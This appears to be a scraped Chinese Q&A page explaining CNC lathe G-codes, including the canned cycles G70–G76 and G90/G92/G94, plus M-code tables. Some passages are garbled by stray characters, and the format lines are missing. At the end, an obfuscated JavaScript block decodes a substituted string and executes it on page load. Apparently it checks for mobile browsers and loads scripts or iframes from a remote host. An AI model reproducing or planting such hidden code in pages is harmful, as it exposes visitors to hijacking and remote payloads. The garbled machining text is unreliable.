数控车床各循环G指令的编程应用

数控车床各循环G指令的编程应用,如G70到G76,G90G94
2024-10-31 00:17:09
推荐回答(3个)
回答1:

G 代码组及含义:

[表 6.2-1] G 代码组及解释( 带 * 者表示是开机时会初始化的代码。)2 G 代码解释定位(G00)。

格式:这个指令把刀具从当前位置移动到指令指定的位置 (在绝对坐标方式下), 或者移动到基亮掘某个距离处 (在增量坐标方式下)。

传统的机械加工都是用手工操作普通机床作业的,加工时用手摇动机械刀具切削金属,靠眼睛用卡尺等工具测量产品的精度的。现代工业早已使用电脑数字化控制的机床进行作业了。

数控机床可以按照技术人员事先编好的程序自动对任何产品和零部件直接进行加工了。这就是我们说的数控加工。数控加工广泛应用在所有机械加工的任何领域,更是模具加工的发展趋势和重要和必要的技术手段。

扩展资料:

选用原则:前期准备。

确定典型零件的工艺要求、加工键州工件的批量,拟定数控车床应具有的功能是做好前期准备,合理选用数控车床的前提条件:满足典型零件的工艺要求。

典型零件的工艺要求主要是零件的结构尺寸、加工范围和精度要求。根据精度要求,即工件的尺寸精度、定位精度和表面粗糙度的要求来选择数控车床的控制精度。 根据可靠性来选择,可靠性是提高产品质量和生产效率的保证。

数控机床的可靠性是指机床在规定条件下执行其功能时,长时间稳定运行而不出故障。即平均无故障时间长,即使出了故障,短时间内能恢复,重新投入使用。选择结构合理、制造精良,并已批量生产的机床。一般,用户越多,数控系统的可靠性越高。

参考资料来源:百度百科-数搏核控车床




回答2:

专家详解数控乱袭车床G71 与 G72 粗车循环指令盯腔的使用哗则兄技巧

回答3:

G 代码组及含义

[表 6.2-1] G 代码组及解释
( 带 * 者表示是开机时会初始化的代码。)
2 G 代码解释
定位(G00)
1. 格式侍谨

这个指令把刀具从当前位置移动到指令指定的位置 (在绝对坐标方式下), 或者移动到某个距离处 (在增量坐标方式下)。

图6.2-1
2. 非直线切削形式的定位
我们的定义是:采用独立的快速移动速率来决定每一个轴的位置。刀具路径不是直线,根据到达的顺序,机器轴依次停止在指令指定的位置。
3. 直线定位
刀具路径类似直线切削(G01)那样,以最短的时间(不超过每一个轴快速移动速率)定位于要求的位置。
4. 举例
N10 G00 X-100 Z-65

直线插补(G01)
1. 格式

直线插补以直线方式和指令给定的移动速率,从当前位置移动到指令位置。

图6.2-2
X, Z: 要求移动到的位置的绝对坐标值。
U, W: 要求移动到的位置的增量坐标值。
2. 举例

图6.2-3

G01 X50. Z75. F0.2 ;绝对坐标程序
X100.;

G01 U0.0 W-75. F0.2 ;增量坐标程序
U50.

圆弧插补 (G02/G03)
刀具进行圆弧插补时,必须规定所在的平面,然后再确定回转方向。顺时针G02;逆时针G03。
1. 格式

X,Z – 指定的终点
U,W – 起点与终点之间的距离
I,K – 从起点到中心点的矢量
R – 圆弧半径(最大180 度)。

图6.2-4
2. 举例

图6.2-5

G02 X100. Z90. I50. K0. F0.2 ;绝对坐标系程序
或 G02 X100. Z90. R50. F0.2

G02 U40. W-30. I50. K0. F0.2 ;增量坐标系程序
或 G02 U40. W-30. R50. F0.2

第二原点返回 (G30)
坐标系能够用第二原点功能来设置
1. 用参数 (a, b) 设置刀具起点的坐标值。点 “a” 和 “b” 是机床原点与起刀点之间的距离。
2. 在编程时用 G30 命令代替 G50 设置坐标系。
3. 在执行了第一原点返回之后,不论刀具实际位置在那里,碰到这个命令时刀具便移到第二原点。
4. 更换刀具也是在第二原点进行的。

切螺纹 (G32)
1. 格式

F –螺纹导程设置
在编制切螺纹程序时应当带主轴转速RPM 均匀控制的功能 (G97),并且要考虑螺纹部分的某些特性。在螺纹切削方式下孝唯移动速率控制和主轴速率控制功能将被忽略。而且在进给保持按钮起作用时,其移动过程在完成一个切削循环后就停止了。
2. 举例

图6.2-6
G00 X29.4
G32 Z-23. F2 ;1 循环切削
G00 X32
Z4.
X29.
G32 Z-23. F2 ;2 循环切削
G00 X32.
Z4.

刀具半径偏置功能 (G40/G41/G42)
1. 格式

图6.2-7
当刀刃是假想刀尖时,切削进程按照程序指定的形状执行不会发生问题。不过,真实的刀刃是由圆弧构成的 (刀尖半径),就像上图所示,在圆弧插补的情况下刀尖路径会带来误差。
2. 偏置功能

表6.2-2
补偿的原则取决于刀尖圆弧中心的动向,它总是与切削表面法向里的半径矢量不重合。
因此,补偿的基准点是刀尖中心。通常,刀具长度和刀尖半径的补偿是按一个假想的刀刃为基准,因此为测量带来一些困难。
把这个原则用于刀具补偿,应当分别以 X 和 Z 的基准点来测量刀巧谈培具长度刀尖半径 R,以及用于假想刀尖半径补偿所需的刀尖形式数 (1-9)。

图6.2-8
这些内容应当事前输入刀具偏置文件。
“刀尖半径偏置” 应当用 G00 或者 G01 功能来下达命令或取消。不论这个命令是不是带圆弧插补, 刀不会正确移动,导致它逐渐偏离所执行的路径。因此,刀尖半径偏置的命令应当在切削进程启动之前完成; 并且能够防止从工件外部起刀带来的过切现象。反之,要在切削进程之后用移动命令来执行偏置的取消过
3. 举例:
G41 X5 Z5 D1;
G02 X25 Z25 R25;
G40 G01 X10 Z10 D0;

工件坐标系选择(G54~G59)
1. 格式

2. 功能

图6.2-9
通过使用 G54~G59 命令,最多可设置六个工件坐标系(1~6)。
在接通电源和完成了原点返回后,系统自动选择工件坐标系 1 (G54) 。在有 “模态”
命令对这些坐标做出改变之前,它们将保持其有效性。

精加工循环(G70)
1. 格式

ns: 精加工形状程序的第一个段号。
nf: 精加工形状程序的最后一个段号
2. 功能
用G71、G72 或G73 粗车削后,G70 精车削。

外圆粗车固定循环(G71)

图6.2-10
1. 格式

不指定正负符号。切削方向依照AA’的方向决定,在另一个值指定前不会改变。FANUC
系统参数(NO.0717)指定。
e: 退刀行程
本指定是状态指定,在另一个值指定前不会改变。FANUC 系统参数(NO.0718)指定。
ns: 精加工形状程序的第一个段号。
nf: 精加工形状程序的最后一个段号。
△U: X 方向精加工预留量的距离及方向。(直径/半径)
△W: Z 方向精加工预留量的距离及方向。
f,s,t: 包含在ns 到nf 程序段中的任何F,S 或T 功能在循环中被忽略,而在G71 程序
段中的F,S 或功能有效。
2. 功能
如果在上图用程序决定A 至A’至B 的精加工形状,用△d(切削深度)车掉指定的区域,
留精加工预留量△u/2 及△w。

端面车削固定循环(G72)

图6.2-11
1. 格式

△d,e,ns,nf, △u, △w,f,s 及t 的含义与G71 相同。
2. 功能
如上图所示,除了是平行于X 轴外,本循环与G71 相同。

成型加工复式循环(G73)

图6.2-12
1. 格式

△i: X 轴方向退刀距离(半径指定), FANUC 系统参数(NO.0719)指定。
△k: Z 轴方向退刀距离(半径指定), FANUC 系统参数(NO.0720)指定。
d: 分割次数
这个值与粗加工重复次数相同,FANUC 系统参数(NO.0719)指定。
ns: 精加工形状程序的第一个段号。
nf: 精加工形状程序的最后一个段号。
△U: X 方向精加工预留量的距离及方向。(直径/半径)
△W: Z 方向精加工预留量的距离及方向。
f,s,t: 顺序号“ns”到“nf”程序段中的任何F,S 或T 功能在循环中被忽略,而在G73程序段中的F,S 或功能有效。
2. 功能
本功能用于重复切削一个逐渐变换的固定形式,用本循环,可有效的切削一个用粗加工锻造或铸造等方式已经加工成型的工件。

端面啄式钻孔循环(G74)

图6.2-13
1. 格式

e: 后退量
本指定是状态指定,在另一个值指定前不会改变。FANUC 系统参数(NO.0722)指定。
x: B 点的X 坐标
u: 从A 至B 增量
z: C 点的Z 坐标
w: 从A 至C 增量
△i: X 方向的移动量(不带符号)
△k: Z 方向的移动量(不带符号)
△d: 刀具在切削底部的退刀量。△d 的符号一定是(+)。但是,如果X(U)及△I 省略,退刀方向可以指定为希望的符号。
f: 进给率
2. 功能
如上图所示在本循环可处理断削,如果省略X(U)及P,结果只在Z 轴操作,用于钻孔。

外经/内径啄式钻孔循环(G75)

图6.2-14
1. 格式

2. 功能
指令操作如上图所示,除X 用Z 代替外与G74 相同,在本循环可处理断削,可在X 轴割槽及X 轴啄式钻孔。

螺纹切削循环(G76)
1. 格式

m: 精加工重复次数(1 至99)
本指定是状态指定,在另一个值指定前不会改变。FANUC 系统参数(NO.0723)指定。
r: 倒角量
本指定是状态指定,在另一个值指定前不会改变。FANUC 系统参数(NO.0109)指定。
a: 刀尖角度:
可选择80 度、60 度、55 度、30 度、29 度、0 度,用2 位数指定。
本指定是状态指定,在另一个值指定前不会改变。FANUC 系统参数(NO.0724)指定。
如:P(02/m、12/r、60/a)
△dmin: 最小切削深度,用半径值表示。
本指定是状态指定,在另一个值指定前不会改变。FANUC 系统参数(NO.0726)指定。
d: 精加工余量
i: 螺纹部分的半径差
如果i=0,可作一般直线螺纹切削。
k: 螺纹高度,用半径值表示。
这个值在X 轴方向用半径值指定。
△d: 第一次的切削深度(半径值)
L: 螺纹导程(同G32)
2. 功能
螺纹切削循环。

内外直径的切削循环(G90)
1. 格式
直线切削循环:

按开关进入单一程序块方式,操作完成如图所示 1→2→3→4 路径的循环操作。U 和 W的正负号 (+/-) 在增量坐标程序里是根据1 和2 的方向改变的。
锥体切削循环:

必须指定锥体的“R”值。切削功能的用法与直线切削循环类似。
2. 功能
外圆切削循环。

图6.2-15
1. U<0, W<0, R<0
2. U>0, W<0, R>0

图6.2-16 图6.2-17
3. U<0, W<0, R>0
4. U>0, W<0, R<0

图6.2-18 图6.2-19

切削螺纹循环 (G92)
1. 格式
直螺纹切削循环:

螺纹范围和主轴 RPM 稳定控制 (G97) 类似于 G32 (切螺纹)。在这个螺纹切削循环里,切螺纹的退刀有可能如 [图 9-9] 操作;倒角长度根据所指派的参数在0.1L~12.7L 的范围里设置为 0.1L 个单位。
锥螺纹切削循环:

2. 功能
切削螺纹循环

图6.2-20

图6.2-21

台阶切削循环 (G94)
1. 格式
平台阶切削循环:

锥台阶切削循环:

2. 功能
台阶切削

图6.2-22 图6.2-23

线速度控制 (G96/G97)
数控车床主轴分成低速和高速区;在每一个区内的速率可以自由改变。
G96 的功能是执行恒线速度控制,并且只通过改变转速来控制相应的工件直径变化时维持稳定的恒定的切削速率,和 G50 指令配合使用。
G97 的功能是取消恒线速度控制,并且仅仅控制转速的稳定。

每分钟进给率/每转进给率设置(G98/G99)
切削进给速度可用 G98 代码来指令每分钟的移动(毫米/分),或者用 G99 代码来指令每转移动(毫米/转)。G99 的每转进给率主要用于数控车床加工。

图6.2-24
每分钟的移动速率 (毫米/分) = 每转位移速率 (毫米/转) x 主轴转速

3。辅助功能M代码及其含义

辅助功能字是用于指定主轴的旋转方向、启动、停止、冷却液的开关,工件或刀具的夹紧和松开,刀具的更换等功能。辅助功能字由地址符M和其后的两位数字组成。JB3208-83标准中规定如下表:

辅助功能字M 代码 功能作用范围 功能
M0 * 程序停止
M36 * 进给范围1
M01 * 计划结束
M37 * 进给范围2
M02 * 程序结束
M38 * 主轴速度范围1
M03 主轴顺时针转动
M39 * 主轴速度范围2
M04 主轴逆时针转动
M40-M45 * 齿轮换档
M05 主轴停止
M06 * 换刀
M48 * 注销M49
M07 2号冷却液开
M49 * 进给率修正旁路
M08 1号冷却液开
M50 * 3号冷却液开
M09 冷却液关
M51 * 4号冷却液开
M10 夹紧
M11 松开
M55 * 刀具直线位移,位置1
M56 * 刀具直线位移,位置2
M99 * 子程序结束
M98 子程序调用

注:*表示如作特殊用途,必须在程序格式中说明

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();